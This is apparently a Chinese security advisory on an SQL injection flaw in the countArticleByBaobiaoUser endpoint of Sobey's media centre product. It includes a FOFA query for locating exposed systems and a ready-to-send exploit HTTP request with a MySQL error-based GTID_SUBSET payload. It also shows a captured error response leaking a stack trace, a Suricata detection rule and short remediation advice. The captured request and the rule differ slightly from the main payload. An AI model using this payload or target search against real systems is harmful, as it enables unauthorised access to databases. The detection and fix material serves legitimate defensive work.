

索贝融媒体中心 countArticleByBaobiaoUser 存在SQL注入漏洞

索贝融媒体中心 countArticleByBaobiaoUser 存在SQL注入漏洞，攻击者可进行sql注入攻击获取数据库信息或者权限。

影响版本

索贝融媒体

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: app="SOBEY-融媒体"

POC/EXP:

```
POST /sobey-mchEditor/mch/statistics/js/../../countArticleByBaobiaoUser HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded

channelId=1 AND GTID_SUBSET(CONCAT(0x71766a7871,(SELECT
(ELT(1944=1944,1))),0x716a6a6a71),1944)&token=1&siteCode=1
```

Request

< > 数据包详情 原始 HEX 原始 原始请求 更多

1 POST /sobey-mchEditor/mch/statistics/js/./countArticleByBaobiaoUser-HTTP/1.1

2 Host ?

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36

4 Content-Type: application/x-www-form-urlencoded

5 |

6 channelId=1&AND GTID_SUBSET(CONCAT(0x71766a7871,(SELECT (ELT(1944=1944,1))),0x716a6a71),1944)&token=1&siteCode=1

11 bytes Content-Type

配置 HEX 渲染 编辑 将输入定位到源

1 HTTP/1.1 500

2 Server: nginx_18.12.25.1.14.2

3 Date: Mon, 18 Aug 2025 08:20:39 GMT

4 Content-Type: text/html; charset=utf-8 text/html; charset=utf-8

5 Connection: keep-alive

6 Access-Control-Allow-Origin: *

7 Access-Control-Allow-Headers: Content-Type, Content-Length, Authorization, -Accept, X-Requested-With

8 Access-Control-Allow-Methods: PUT, POST, GET, DELETE, OPTIONS

9 Content-Language: en

10 Set-Cookie: SERVERID=; Expires=Thu, 01-Jan-1970 00:00:01 GMT; path=

11 Content-Length: 7265

12

13 <!doctype html>

14 <html lang=en>

15 <head>

16 <title>HTTP-Status-500 Internal-Server-Error</title>

17 <style type=text/css>

18 <body font-family:Tahoma,Arial,sans-serif;h1,h2,h3,h4 {color:white;background-color:#525D76;}h1 {font-size:22px;}h2 {font-size:16px;}h3 {font-size:14px;}p {font-size:12px;}a {color:black;}h1 {height:1px;background-color:#525D76;border:none;}

19 </style>

20 </head>

21 <body>

22 <div>HTTP-Status-500 Internal-Server-Error</div>

23 <div class=line>

24 <div>Exception-Report</div>

25 <div>

26 <div>Request-processing-failed; nested-exception-is

27 <div>Java.lang.RuntimeException: java.sql.SQLException: Malformed GTID-set

28 <div>specification '0x716a6a71'

29 </div>

30 <div>

31 <div>The server encountered an unexpected condition that

32 <div>prevented it from fulfilling the request.

33 </div>

34 <div>Exception</div>

35 <pre>

36 org.springframework.web.util.NestedServletException: Request processing failed; nested exception is java

37 <div>RuntimeSQLException: java.sql.SQLException: Malformed GTID-set specification '0x716a6a71'

38 <div>org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:980)

sonrt规则:

```
alert http any any -> $HOME_NET any (
    msg:"Sobey Media System - MySQL Boolean-Based SQLi in
countArticleByBaobiaoUser";
    flow:to_server,established;
    http.method; content:"POST";
    http.uri; content: "/sobey-
mchEditor/mch/statistics/js/./countArticleByBaobiaoUser";
    http.request_body; content:"channelId=";
    pcre: "/channelId=\\d+%20AND%20GTID_SUBSET\\(CONCAT\\(0x71766a7871,\\s*\\
(SELECT\\s*\\(ELT\\(1944=1944,1\\)\\)\\),0x716a6a71\\),1944\\)/i";
    metadata:
        cve none,
        service http,
        affected_product "索贝融媒体中心系统",
        vulnerability_type "MySQL Boolean-Based SQL Injection";
    classtype:sql-injection;
    sid:1000445;
    rev:1;
    priority:1;
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。